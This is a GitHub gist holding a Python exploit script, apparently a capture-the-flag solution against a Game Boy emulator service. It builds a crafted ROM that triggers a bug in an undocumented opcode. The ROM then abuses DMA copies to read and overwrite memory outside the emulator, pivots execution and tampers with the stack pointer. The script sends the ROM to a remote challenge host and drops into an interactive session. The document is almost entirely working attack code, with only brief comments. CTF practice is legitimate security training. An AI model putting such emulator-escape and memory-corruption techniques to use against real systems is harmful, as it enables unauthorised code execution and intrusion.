Created
April 23, 2017 21:10
-
-
Save ymgve/528cb0d2470ea35e16eb783192b6b019 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket, struct, os, binascii, base64 | |
import telnetlib | |
def readline(sc, show = True): | |
res = "" | |
while len(res) == 0 or res[-1] != "\n": | |
data = sc.recv(1) | |
if len(data) == 0: | |
print repr(res) | |
raise Exception("Server disconnected") | |
res += data | |
if show: | |
print repr(res[:-1]) | |
return res[:-1] | |
def read_until(sc, s): | |
res = "" | |
while not res.endswith(s): | |
data = sc.recv(1) | |
if len(data) == 0: | |
print repr(res) | |
raise Exception("Server disconnected") | |
res += data | |
return res[:-(len(s))] | |
def read_all(sc, n): | |
data = "" | |
while len(data) < n: | |
block = sc.recv(n - len(data)) | |
if len(block) == 0: | |
print repr(data) | |
raise Exception("Server disconnected") | |
data += block | |
return data | |
def I(n): | |
return struct.pack("<I", n) | |
def Q(n): | |
return struct.pack("<Q", n) | |
def write_cart(cart, offset, data): | |
print "data size", hex(len(data)) | |
if type(data) is str: | |
data = [ord(x) for x in data] | |
for c in data: | |
cart[offset] = c | |
offset += 1 | |
def opcodes_mov64(dst, src): | |
s = "" | |
for i in xrange(8): | |
s += "\xfa" + struct.pack("<H", src+i) + "\xea" + struct.pack("<H", dst+i) | |
return s | |
def opcodes_add64(dst, src, delta): | |
delta = delta & 0xffffffffffffffff | |
s = "" | |
for i in xrange(8): | |
s += "\xfa" + struct.pack("<H", src+i) | |
if i == 0: | |
s += "\xc6" | |
else: | |
s += "\xce" | |
s += chr(delta & 0xff) | |
s += "\xea" + struct.pack("<H", dst+i) | |
delta >>= 8 | |
return s | |
cart = [0] * 0x8000 | |
write_cart(cart, 0, "\x3e\xfe\xea\x46\xff") # context pivot | |
write_cart(cart, 0x100, "\x3e\x80\x0e\x90\xed") # trigger bug in undocumented opcode ED | |
write_cart(cart, 0x100+5-0x80, "\xc3\x00\x02") # jump to main routine | |
write_cart(cart, 0x200-0x80, | |
# disable interrupts | |
"\xf3" + | |
# copy loop - copies from 0010-0100 to FE00-FEF0 | |
"\x11\x10\x00\x21\x00\xfe\x0e\xf0" + | |
"\x1a\x13\x22\x0d\x20\xfa" + | |
# sets DMA destination to start of heap in copied block | |
opcodes_mov64(0xfe08, 0x0010) + | |
# sets PC in block to copy | |
"\x3e\x00\xea\x40\xfe" + | |
"\x3e\x04\xea\x41\xfe" + | |
# sets DMA destination to right above target data we want to read | |
opcodes_add64(0x0018, 0x0010, 0x00025ac0) + | |
"\x3e\xfe\xea\x46\xff" + # DMA copies bank FEXX to destination | |
# sets PC after context pivot | |
"\x3e\x80\xea\x40\xfe" + | |
"\x3e\xfe\xea\x41\xfe" + | |
# prepares for context pivot | |
opcodes_add64(0xfe00, 0x0018, -0xfe10) + | |
opcodes_add64(0x0018, 0x0010, 0x10) + | |
# do pivot | |
"\x3e\xfe\xea\x46\xff") | |
write_cart(cart, 0x400-0x80, | |
# backup of arena pointer | |
opcodes_mov64(0xc000, 0x0000) + | |
# copy loop | |
"\x11\x10\x00\x21\x00\xfe\x0e\xf0" + | |
"\x1a\x13\x22\x0d\x20\xfa" + | |
# sets DMA destination to start of heap in copied block | |
opcodes_mov64(0xfe08, 0x0010) + | |
# sets PC in block to copy | |
"\x3e\x00\xea\x40\xfe" + | |
"\x3e\x06\xea\x41\xfe" + | |
# sets DMA destination to right above target data we want to read | |
opcodes_add64(0x0018, 0x0000, 0x00000000003A7FB8-0x00000000003A5678+0x10) + | |
"\x3e\xfe\xea\x46\xff" + # DMA copies bank FEXX to destination | |
# sets PC after context pivot | |
"\x3e\x80\xea\x40\xfe" + | |
"\x3e\xfe\xea\x41\xfe" + | |
# prepares for context pivot | |
opcodes_add64(0xfe00, 0x0018, -0xfe10) + | |
opcodes_add64(0x0018, 0x0010, 0x10) + | |
# do pivot | |
"\x3e\xfe\xea\x46\xff") | |
write_cart(cart, 0x600-0x80, | |
# backup of stack pointer | |
opcodes_mov64(0xc008, 0x0000) + | |
opcodes_add64(0x0000, 0xc000, -0x00000000003A5678+0x0000000000041374) + | |
# sets DMA destination to right at the data we want to write to | |
opcodes_add64(0x0018, 0xc008, -0xf0) + | |
"\x3e\x00\xea\x46\xff" + # DMA copies bank FEXX to destination | |
"\xfd") | |
cart = "".join([chr(x) for x in cart]) | |
sc = socket.create_connection(("gameboy.chal.pwning.xxx", 30908)) | |
# sc = socket.create_connection(("10.0.0.97", 12345)) | |
sc.send(cart) | |
t = telnetlib.Telnet() | |
t.sock = sc | |
t.interact() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment